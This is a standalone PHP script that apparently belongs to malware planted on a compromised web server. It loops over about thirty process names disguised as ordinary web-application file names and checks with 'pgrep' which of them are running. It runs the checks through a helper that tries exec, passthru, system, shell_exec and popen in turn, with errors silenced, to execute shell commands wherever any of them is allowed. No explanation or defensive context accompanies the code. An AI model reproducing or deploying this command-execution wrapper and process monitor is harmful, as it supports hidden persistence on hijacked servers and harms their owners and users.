<?php   $files = ['layout.inc','get_foreign.lib','recipeform.inc','keyword_select','gallery.lang_de','usergroup_8','link_navi','protection','create_account','errorpages','editCourseNotes','tbl_row_action','presentation','mailmanweb','cma_m_watching','xenobe_funcs','com_content','version_compare','invocactf','subscribe','select_project','actionscript3','CHANGELOG','ValidatorAtom','gzip_compression','SQLiteStore','gallery.lang_fi','functions_block','toolbar.admin','events_new']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }